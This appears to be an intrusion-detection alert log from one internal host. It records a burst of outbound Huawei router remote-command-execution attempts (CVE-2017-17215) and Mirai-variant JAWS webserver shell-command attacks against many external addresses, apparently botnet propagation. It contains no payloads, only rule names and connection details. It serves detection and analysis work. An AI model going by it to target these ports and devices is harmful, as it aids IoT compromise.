2025-02-04T18:11:48.032495+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51154	156.54.76.237	37215	TCP
2025-02-04T18:11:48.048412+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59166	197.115.74.226	37215	TCP
2025-02-04T18:11:48.048470+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37228	156.197.91.65	37215	TCP
2025-02-04T18:11:48.049026+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33156	41.214.32.23	37215	TCP
2025-02-04T18:11:48.050010+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45088	41.250.150.154	37215	TCP
2025-02-04T18:11:48.050300+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40350	197.86.44.39	37215	TCP
2025-02-04T18:11:48.050405+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51232	156.119.1.157	37215	TCP
2025-02-04T18:11:48.052275+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54636	197.127.188.92	37215	TCP
2025-02-04T18:11:48.052507+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50412	156.203.209.254	37215	TCP
2025-02-04T18:11:48.052595+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52172	156.174.59.56	37215	TCP
2025-02-04T18:11:48.053740+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43390	197.21.220.133	37215	TCP
2025-02-04T18:11:48.054043+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53368	156.111.51.215	37215	TCP
2025-02-04T18:11:48.054468+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51742	156.212.221.194	37215	TCP
2025-02-04T18:11:48.064010+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48422	156.167.118.169	37215	TCP
2025-02-04T18:11:48.064325+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35876	156.194.153.163	37215	TCP
2025-02-04T18:11:48.064327+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40212	197.183.113.213	37215	TCP
2025-02-04T18:11:48.064629+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43222	41.93.153.150	37215	TCP
2025-02-04T18:11:48.064996+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55530	41.137.108.19	37215	TCP
2025-02-04T18:11:48.065544+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36144	41.243.175.234	37215	TCP
2025-02-04T18:11:48.066611+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52740	197.140.242.216	37215	TCP
2025-02-04T18:11:48.066659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46914	197.173.174.136	37215	TCP
2025-02-04T18:11:48.066771+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50974	156.157.29.74	37215	TCP
2025-02-04T18:11:48.067427+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42666	197.138.158.230	37215	TCP
2025-02-04T18:11:48.067869+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60290	41.65.253.82	37215	TCP
2025-02-04T18:11:48.068126+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42574	197.195.178.160	37215	TCP
2025-02-04T18:11:48.068575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55462	156.137.181.35	37215	TCP
2025-02-04T18:11:48.068575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35724	156.35.204.41	37215	TCP
2025-02-04T18:11:48.068575+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55116	41.200.62.27	37215	TCP
2025-02-04T18:11:48.068597+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40134	197.117.139.86	37215	TCP
2025-02-04T18:11:48.068637+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52260	197.96.246.105	37215	TCP
2025-02-04T18:11:48.068720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39304	197.230.75.185	37215	TCP
2025-02-04T18:11:48.069039+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47818	41.28.7.187	37215	TCP
2025-02-04T18:11:48.069100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39196	197.217.210.140	37215	TCP
2025-02-04T18:11:48.069126+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42726	156.193.218.246	37215	TCP
2025-02-04T18:11:48.069172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50034	197.166.194.252	37215	TCP
2025-02-04T18:11:48.069785+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41826	156.223.115.217	37215	TCP
2025-02-04T18:11:48.070767+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57036	197.114.86.99	37215	TCP
2025-02-04T18:11:48.072226+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57116	41.143.10.75	37215	TCP
2025-02-04T18:11:48.072241+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40830	156.87.5.7	37215	TCP
2025-02-04T18:11:48.072624+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52456	41.85.95.107	37215	TCP
2025-02-04T18:11:49.048655+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53260	156.251.53.109	37215	TCP
2025-02-04T18:11:49.048666+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49744	156.245.26.168	37215	TCP
2025-02-04T18:11:49.048821+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59158	41.52.186.233	37215	TCP
2025-02-04T18:11:49.049182+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35722	41.234.119.217	37215	TCP
2025-02-04T18:11:49.050079+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50736	41.120.185.178	37215	TCP
2025-02-04T18:11:49.050203+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	45374	156.81.131.250	37215	TCP
2025-02-04T18:11:49.050482+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33178	41.197.57.121	37215	TCP
2025-02-04T18:11:49.050725+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34482	197.63.184.83	37215	TCP
2025-02-04T18:11:49.052178+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46348	156.174.17.219	37215	TCP
2025-02-04T18:11:49.052434+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38782	197.252.192.19	37215	TCP
2025-02-04T18:11:49.052551+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37846	156.182.107.112	37215	TCP
2025-02-04T18:11:49.053876+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35618	156.73.111.27	37215	TCP
2025-02-04T18:11:49.054175+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50658	41.42.215.56	37215	TCP
2025-02-04T18:11:49.064092+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49576	197.21.28.245	37215	TCP
2025-02-04T18:11:49.065720+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46520	197.222.42.116	37215	TCP
2025-02-04T18:11:49.065762+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37734	41.206.96.114	37215	TCP
2025-02-04T18:11:49.066132+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60858	197.64.98.150	37215	TCP
2025-02-04T18:11:49.066248+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53594	41.39.206.0	37215	TCP
2025-02-04T18:11:49.066374+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39584	197.105.30.163	37215	TCP
2025-02-04T18:11:49.066578+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50864	41.99.147.75	37215	TCP
2025-02-04T18:11:49.066672+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	43990	41.218.164.96	37215	TCP
2025-02-04T18:11:49.067685+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54100	41.46.173.35	37215	TCP
2025-02-04T18:11:49.068083+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53268	197.66.30.115	37215	TCP
2025-02-04T18:11:49.068167+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41568	41.238.198.65	37215	TCP
2025-02-04T18:11:49.069516+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44650	156.214.132.168	37215	TCP
2025-02-04T18:11:49.069846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42568	197.36.149.96	37215	TCP
2025-02-04T18:11:49.071676+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58880	41.18.226.29	37215	TCP
2025-02-04T18:11:49.237715+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	36338	121.240.223.253	80	TCP
2025-02-04T18:11:49.237715+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	36338	121.240.223.253	80	TCP
2025-02-04T18:11:49.239566+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	50962	1.198.0.183	80	TCP
2025-02-04T18:11:49.239566+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	50962	1.198.0.183	80	TCP
2025-02-04T18:11:49.257908+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	54824	149.23.206.244	80	TCP
2025-02-04T18:11:49.257908+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	54824	149.23.206.244	80	TCP
2025-02-04T18:11:49.259114+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38338	5.194.208.133	80	TCP
2025-02-04T18:11:49.259114+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38338	5.194.208.133	80	TCP
2025-02-04T18:11:49.290571+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	35806	44.91.54.13	80	TCP
2025-02-04T18:11:49.290571+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	35806	44.91.54.13	80	TCP
2025-02-04T18:11:50.050135+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48220	197.240.250.3	37215	TCP
2025-02-04T18:11:50.064019+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41518	156.11.101.228	37215	TCP
2025-02-04T18:11:50.064026+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60764	41.120.96.211	37215	TCP
2025-02-04T18:11:50.064884+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	58036	156.113.150.12	37215	TCP
2025-02-04T18:11:50.065667+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44554	156.215.191.80	37215	TCP
2025-02-04T18:11:50.065983+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39368	197.140.151.129	37215	TCP
2025-02-04T18:11:50.066127+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36324	41.215.202.67	37215	TCP
2025-02-04T18:11:50.070746+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40472	197.145.133.213	37215	TCP
2025-02-04T18:11:50.071038+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33870	41.182.224.24	37215	TCP
2025-02-04T18:11:50.081359+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38676	41.174.162.150	37215	TCP
2025-02-04T18:11:50.081543+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40846	197.36.190.160	37215	TCP
2025-02-04T18:11:50.083435+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53598	156.182.235.157	37215	TCP
2025-02-04T18:11:50.085886+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55220	156.51.228.214	37215	TCP
2025-02-04T18:11:50.095127+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59734	41.196.83.106	37215	TCP
2025-02-04T18:11:50.095219+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40192	197.193.66.167	37215	TCP
2025-02-04T18:11:50.096011+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33032	156.54.150.133	37215	TCP
2025-02-04T18:11:50.097020+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54882	197.35.168.168	37215	TCP
2025-02-04T18:11:50.099396+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37810	41.98.45.223	37215	TCP
2025-02-04T18:11:50.101396+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51718	41.227.108.81	37215	TCP
2025-02-04T18:11:50.239651+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	35036	32.158.13.252	80	TCP
2025-02-04T18:11:50.239651+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	35036	32.158.13.252	80	TCP
2025-02-04T18:11:50.805332+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49734	197.215.149.143	37215	TCP
2025-02-04T18:11:51.064130+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	36768	41.226.106.78	37215	TCP
2025-02-04T18:11:51.079712+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49862	41.133.59.99	37215	TCP
2025-02-04T18:11:51.083769+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	54470	197.128.142.30	37215	TCP
2025-02-04T18:11:51.097454+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34244	156.46.215.103	37215	TCP
2025-02-04T18:11:51.097459+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53816	41.119.236.21	37215	TCP
2025-02-04T18:11:51.101065+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57464	156.156.184.73	37215	TCP
2025-02-04T18:11:51.101149+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	59606	41.245.10.189	37215	TCP
2025-02-04T18:11:51.117203+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56184	197.243.14.238	37215	TCP
2025-02-04T18:11:51.117998+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50666	197.30.141.58	37215	TCP
2025-02-04T18:11:51.290778+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	47772	76.93.228.103	80	TCP
2025-02-04T18:11:51.290778+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	47772	76.93.228.103	80	TCP
2025-02-04T18:11:51.319108+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	51758	197.6.58.51	37215	TCP
2025-02-04T18:11:52.142320+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38758	156.228.59.243	37215	TCP
2025-02-04T18:11:52.142430+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35412	156.27.33.190	37215	TCP
2025-02-04T18:11:52.142500+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35776	197.129.167.27	37215	TCP
2025-02-04T18:11:52.142651+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57014	156.213.195.231	37215	TCP
2025-02-04T18:11:52.144013+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	40800	41.132.7.111	37215	TCP
2025-02-04T18:11:52.144014+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37072	156.141.92.154	37215	TCP
2025-02-04T18:11:52.144139+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35546	156.28.127.122	37215	TCP
2025-02-04T18:11:52.144268+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57962	197.126.110.190	37215	TCP
2025-02-04T18:11:52.144579+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	32832	156.31.61.108	37215	TCP
2025-02-04T18:11:52.145879+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50740	41.234.28.79	37215	TCP
2025-02-04T18:11:52.146199+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34142	197.181.221.189	37215	TCP
2025-02-04T18:11:52.147700+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53150	197.249.221.100	37215	TCP
2025-02-04T18:11:52.147930+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52662	41.136.226.237	37215	TCP
2025-02-04T18:11:52.148099+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	53318	197.211.188.225	37215	TCP
2025-02-04T18:11:52.160189+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38226	197.55.241.36	37215	TCP
2025-02-04T18:11:52.163338+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	57378	41.87.45.45	37215	TCP
2025-02-04T18:11:52.236750+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	34116	197.234.83.113	37215	TCP
2025-02-04T18:11:52.236751+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37698	143.146.138.168	80	TCP
2025-02-04T18:11:52.236751+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37698	143.146.138.168	80	TCP
2025-02-04T18:11:52.236752+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	46400	187.17.238.100	80	TCP
2025-02-04T18:11:52.236752+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	46400	187.17.238.100	80	TCP
2025-02-04T18:11:52.238257+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	60370	42.15.218.97	80	TCP
2025-02-04T18:11:52.238257+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	60370	42.15.218.97	80	TCP
2025-02-04T18:11:52.240099+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	37954	152.212.91.59	80	TCP
2025-02-04T18:11:52.240099+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	37954	152.212.91.59	80	TCP
2025-02-04T18:11:52.274944+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	60098	116.188.200.173	80	TCP
2025-02-04T18:11:52.274944+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	60098	116.188.200.173	80	TCP
2025-02-04T18:11:52.288547+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.15	38034	20.106.247.173	80	TCP
2025-02-04T18:11:52.288547+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.15	38034	20.106.247.173	80	TCP
2025-02-04T18:11:53.141477+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	42012	41.64.149.184	37215	TCP
2025-02-04T18:11:53.142196+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	35616	156.36.152.183	37215	TCP
2025-02-04T18:11:53.142274+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56642	197.135.112.122	37215	TCP
2025-02-04T18:11:53.142772+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38374	41.250.33.100	37215	TCP
2025-02-04T18:11:53.142846+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39078	41.140.131.215	37215	TCP
2025-02-04T18:11:53.143831+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47066	156.20.100.115	37215	TCP
2025-02-04T18:11:53.144008+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	49532	41.176.35.55	37215	TCP
2025-02-04T18:11:53.144019+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60586	156.103.35.184	37215	TCP
2025-02-04T18:11:53.144133+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46452	197.61.155.211	37215	TCP
2025-02-04T18:11:53.144270+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48234	41.210.2.241	37215	TCP
2025-02-04T18:11:53.144298+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	56226	41.240.131.196	37215	TCP
2025-02-04T18:11:53.144313+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	47470	197.254.99.83	37215	TCP
2025-02-04T18:11:53.144840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	37714	156.220.75.246	37215	TCP
2025-02-04T18:11:53.146036+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	50436	41.159.35.88	37215	TCP
2025-02-04T18:11:53.146324+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46592	156.127.55.171	37215	TCP
2025-02-04T18:11:53.157808+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	39420	156.85.233.40	37215	TCP
2025-02-04T18:11:53.157874+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	44752	156.138.212.20	37215	TCP
2025-02-04T18:11:53.157993+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	52360	41.110.170.239	37215	TCP
2025-02-04T18:11:53.160491+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	41710	197.139.199.106	37215	TCP
2025-02-04T18:11:53.160497+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	33382	41.50.215.93	37215	TCP
2025-02-04T18:11:53.160543+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	38244	41.33.245.93	37215	TCP
2025-02-04T18:11:53.160638+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	55346	156.89.99.88	37215	TCP
2025-02-04T18:11:53.160866+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	48670	41.148.175.29	37215	TCP
2025-02-04T18:11:53.161910+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46462	156.195.120.2	37215	TCP
2025-02-04T18:11:53.163883+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	60406	156.7.78.77	37215	TCP
2025-02-04T18:11:53.163949+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.15	46138	156.46.96.61	37215	TCP
